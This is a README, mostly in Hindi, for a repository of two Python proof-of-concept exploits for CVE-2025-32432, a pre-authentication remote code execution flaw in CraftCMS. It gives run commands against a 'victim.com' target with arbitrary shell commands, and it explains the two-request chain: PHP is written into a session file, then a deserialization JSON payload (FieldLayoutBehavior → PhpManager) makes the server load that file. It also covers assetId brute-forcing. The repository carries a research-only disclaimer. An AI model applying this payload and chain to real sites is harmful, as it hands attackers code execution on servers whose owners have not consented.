
CVE-2025-32432 के लिए Python एक्सप्लॉइट, जो CraftCMS asset-transform एंडपॉइंट में प्री-ऑथ RCE है। इसमें डिसीरियलाइज़ेशन गैजेट्स के माध्यम से मनमाने शेल कमांड निष्पादित करने के लिए दो-पैकेट चेन शामिल है।
CraftCMS 3.x / 4.x / 5.x के लिए Pre-auth Remote Code Execution
PoC अनुरक्षक: C.T.Y. (केवल शोध उपयोग)
भेद्यता खोज: Nicolas Bourras – Orange Cyberdefense
अतिरिक्त PoC प्रेरणा: SensePost शोध और Chirag Artani का सार्वजनिक स्क्रिप्ट
इस रिपॉजिटरी में CVE-2025-32432 के लिए दो पूरक Python एक्सप्लॉइट्स हैं — CraftCMS के एसेट-ट्रांसफॉर्म एंडपॉइंट में एक प्री-ऑथेंटिकेशन RCE।
| स्क्रिप्ट | उद्देश्य |
|---|
craftcms_rce_php_check.py | सुरक्षा जांच — एक अनुरोध भेजता है जिसमें FnStream गैजेट का उपयोग करके यह सत्यापित किया जाता है कि मनमाना PHP निष्पादित होता है (phpinfo() आउटपुट प्रिंट करता है)। कम प्रभाव पुष्टि के लिए आदर्श। |
craftcms_final_payload.py | पूर्ण एक्सप्लॉइट — दो-पैकेट श्रृंखला: पहले FnStream के माध्यम से PHP प्रत्यारोपित करता है, फिर FieldLayoutBehavior → PhpManager गैजेट का लाभ उठाकर किसी भी शेल कमांड को निष्पादित करता है। |
दूसरी स्क्रिप्ट वह है जिसका वर्णन इस README में किया गया है।
पहली स्क्रिप्ट पूर्णता और त्वरित सत्यापन के लिए शामिल की गई है, जो Chirag Artani की सौजन्य है — क्रेडिट देखें।
स्पष्टता के लिए स्क्रिप्ट फ़ाइल नाम अनुकूलित किया गया; मूल संरचना और विचार Chirag Artani द्वारा।
केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए।
इन स्क्रिप्टों का उपयोग स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध अवैध और अनैतिक है।
assetId ब्रूट-फोर्स (404 → 302 ह्युरिस्टिक)-c/--cmd)pip install -r requirements.txt):
requestsurllib3# रिपोजिटरी क्लोन करें
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victim.com
यदि आप phpinfo() आउटपुट देखते हैं, तो लक्ष्य संभवतः शोषण योग्य है।
python3 craftcms_final_payload.py -u https://victim.com -c "id"
| विकल्प | लंबा रूप | विवरण | आवश्यक |
|---|---|---|---|
-u | --url | लक्ष्य का आधार URL (कोई पिछला स्लैश नहीं) | ✅ |
-c | --cmd | निष्पादित करने के लिए शेल कमांड | ✅ |
-a | --asset | ज्ञात अच्छा assetId | ❌ |
-s | --scan-max | ब्रूट सीमा (डिफ़ॉल्ट: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> /tmp/sess_<ID> में मनमाना PHP लिखता है।actions/assets/generate-transform पर FieldLayoutBehavior → PhpManager गैजेट के साथ CraftCMS को सत्र फ़ाइल को require() करने के लिए मजबूर करता है, जिससे कोड निष्पादित होता है।{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId ब्रूट-फोर्स)phpinfo जांच स्क्रिप्ट (craftcms_rce_php_check.py) और प्रारंभिक शोध विचार
स्पष्टता के लिए स्क्रिप्ट फ़ाइल नाम अनुकूलित किया गया; मूल संरचना और विचार Chirag Artani द्वारा।जिम्मेदारी सूचना: इस कोड के उपयोग से उत्पन्न होने वाले किसी भी कानूनी जोखिम या क्षति के लिए पूरी जिम्मेदारी उपयोगकर्ता की है।
MIT लाइसेंस — LICENSE देखें।
| फ़ाइल | उद्देश्य |
|---|---|
craftcms_rce_php_check.py | PHP निष्पादन व्यवहार्यता जांच: एकल अनुरोध, FnStream का उपयोग करके phpinfo() ट्रिगर करता है, कम प्रभाव में लक्ष्य की भेद्यता सत्यापित करता है।यह फ़ाइल नाम स्पष्टता के लिए अनुकूलित किया गया, मूल विचार और कोड संरचना Chirag Artani से। |
craftcms_final_payload.py | दो-पैकेट श्रृंखला पूर्ण शोषण: पहले FnStream के साथ PHP प्रत्यारोपित करता है, फिर PhpManager के माध्यम से कोई भी कमांड निष्पादित करता है। |
केवल शैक्षिक और कानूनी रूप से अधिकृत परीक्षण के लिए। अनधिकृत संचालन अवैध है।
python3 craftcms_rce_php_check.py -u https://लक्ष्य.कॉम
python3 craftcms_final_payload.py -u https://लक्ष्य.कॉम -c "id"
पैरामीटर अंग्रेज़ी संस्करण के समान हैं।
phpinfo जांच स्क्रिप्ट
यह फ़ाइल नाम स्पष्टता के लिए अनुकूलित किया गया, मूल विचार और कोड संरचना Chirag Artani से।इस कोड के उपयोग से उत्पन्न किसी भी कानूनी जोखिम और हानि के लिए उपयोगकर्ता स्वयं जिम्मेदार है।
MIT लाइसेंस